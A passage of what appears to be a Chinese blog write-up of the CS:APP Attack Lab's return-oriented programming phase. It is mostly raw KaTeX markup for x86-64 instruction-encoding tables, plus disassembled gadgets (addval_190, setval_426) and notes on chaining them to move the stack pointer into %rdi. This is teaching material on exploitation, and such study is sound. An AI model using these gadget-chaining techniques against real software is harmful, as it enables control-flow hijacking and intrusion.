class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">6</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">e</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">7</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">7</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">df</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">7</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">7</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">48</span><span class="mspace"> </span><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">ff</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span style="top:-12.1em;"><span class="pstrut" style="height:8.25em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span><span style="top:-13.3em;"><span class="pstrut" style="height:8.25em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span></span></span></span></span></p><p>可以发现 <code>movq %rsp, %rdi</code> 为 <code>48 89 e7</code>，但是 <em>fram</em> 里面没有，所以只能如下走弯路</p><ol><li><p><code>movq %rsp, %rax; ret</code> -&gt; <code>48 89 e0 c3</code></p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0000000000401a03 &lt;addval_190&gt;:</span><br><span class="line">401a03:8d 87 41 48 89 e0    lea    -0x1f76b7bf(%rdi),%eax</span><br><span class="line">401a09:c3                   ret</span><br></pre></td></tr></table></figure></li><li><p><code>movq %rax, %rdi; ret</code> -&gt; <code>48 89 c7 c3</code></p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019c3 &lt;setval_426&gt;:</span><br><span class="line">4019c3:c7 07 48 89 c7 90    movl   $0x90c78948,(%rdi)</span><br><span class="line">4019c9:c3                   ret</span><br></pre></td></tr></table></figure></li></ol><hr /><p><code>offset</code> 必须要找 <code>popq</code> 此类指令：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.16em" columnalign="left center" columnlines="solid" columnspacing="1em" rowlines="solid none none none none none none none"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>Instruction</mtext></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>Machine Code</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>a</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>58</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>c</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>59</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>d</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mi>a</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>b</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mi>b</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mi>c</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>b</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mi>d</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mi>e</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>popq </mtext><mi mathvariant="normal">%</mi><mi>r</mi><mi>d</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>5</mn><mi>f</mi></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{array}{l|c}\text{Instruction} &amp; \text{Machine Code} \\\hline\text{popq } \%rax &amp; 58 \\\text{popq } \%rcx &amp; 59 \\\text{popq } \%rdx &amp; 5a \\\text{popq } \%rbx &amp; 5b \\\text{popq } \%rsp &amp; 5c \\\text{popq } \%rbp &amp; 5d \\\text{popq } \%rsi &amp; 5e \\\text{popq } \%rdi &amp; 5f \\\end{array}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:10.8em;vertical-align:-5.15em;"></span><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.65em;"><span style="top:-7.65em;"><span class="pstrut" style="height:7.65em;"></span><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.65em;"><span style="top:-7.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Instruction</span></span></span></span><span style="top:-6.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span></span></span><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal">rc</span><span class="mord mathnormal">x</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">x</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">b</span><span class="mord mathnormal">p</span></span></span><span style="top:0.59em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">i</span></span></span><span style="top:1.79em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">popq </span></span><span class="mord">%</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="vertical-separator" style="height:10.8em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-5.15em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.65em;"><span style="top:-7.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Machine Code</span></span></span></span><span style="top:-6.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">58</span></span></span><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">59</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mord mathnormal">a</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mord mathnormal">b</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mord mathnormal">c</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mord mathnormal">d</span></span></span><span style="top:0.59em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mord mathnormal">e</span></span></span><span style="top:1.79em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span style="top:-12.1em;"><span class="pstrut" style="height:7.65em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.15em;"><span></span></span></span></span></span></span></span></span></span></p><p>最理想下是直接 <code>popq %rsi</code>，但是 <em>fram</em> 里没有。</p><p>参考资料里面提示 <code>movl</code> 可以移动 4 字节的值，所以可以试着先将 <code>offset</code> <code>popq</code> 到别的寄存器，然后再辗转移动到 <code>%rsi</code>。</p><p><code>movl</code> 有以下对照表：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.16em" columnalign="left left left left left left left left left" columnlines="solid none none none none none none none" columnspacing="1em" rowlines="solid solid none none none none none none none"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>Source </mtext><mi>S</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>Dest. </mtext><mi>D</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>a</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>c</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>d</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>b</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>s</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>b</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>s</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>d</mi><mi>i</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>a</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>c</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>c</mi><mi>f</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>d</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>b</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>d</mi><mi>f</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>s</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>b</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>e</mi><mi>f</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>s</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>e</mi><mi>d</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>89</mn><mtext> </mtext><mi>f</mi><mi>f</mi></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{array}{l|llllllll}\text{Source } S &amp; \text{Dest. } D &amp; &amp; &amp; &amp; &amp; &amp; &amp; \\\hline&amp; \%eax &amp; \%ecx &amp; \%edx &amp; \%ebx &amp; \%esp &amp; \%ebp &amp; \%esi &amp; \%edi \\\hline\%eax &amp; 89\ c0 &amp; 89\ c1 &amp; 89\ c2 &amp; 89\ c3 &amp; 89\ c4 &amp; 89\ c5 &amp; 89\ c6 &amp; 89\ c7 \\\%ecx &amp; 89\ c8 &amp; 89\ c9 &amp; 89\ ca &amp; 89\ cb &amp; 89\ cc &amp; 89\ cd &amp; 89\ ce &amp; 89\ cf \\\%edx &amp; 89\ d0 &amp; 89\ d1 &amp; 89\ d2 &amp; 89\ d3 &amp; 89\ d4 &amp; 89\ d5 &amp; 89\ d6 &amp; 89\ d7 \\\%ebx &amp; 89\ d8 &amp; 89\ d9 &amp; 89\ da &amp; 89\ db &amp; 89\ dc &amp; 89\ dd &amp; 89\ de &amp; 89\ df \\\%esp &amp; 89\ e0 &amp; 89\ e1 &amp; 89\ e2 &amp; 89\ e3 &amp; 89\ e4 &amp; 89\ e5 &amp; 89\ e6 &amp; 89\ e7 \\\%ebp &amp; 89\ e8 &amp; 89\ e9 &amp; 89\ ea &amp; 89\ eb &amp; 89\ ec &amp; 89\ ed &amp; 89\ ee &amp; 89\ ef \\\%esi &amp; 89\ f0 &amp; 89\ f1 &amp; 89\ f2 &amp; 89\ f3 &amp; 89\ f4 &amp; 89\ f5 &amp; 89\ f6 &amp; 89\ f7 \\\%edi &amp; 89\ f8 &amp; 89\ f9 &amp; 89\ fa &amp; 89\ fb &amp; 89\ fc &amp; 89\ fd &amp; 89\ fe &amp; 89\ ff \\\end{array}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:12em;vertical-align:-5.75em;"></span><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.25em;"><span class="pstrut" style="height:8.25em;"></span><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Source </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">ec</span><span class="mord mathnormal">x</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">x</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord 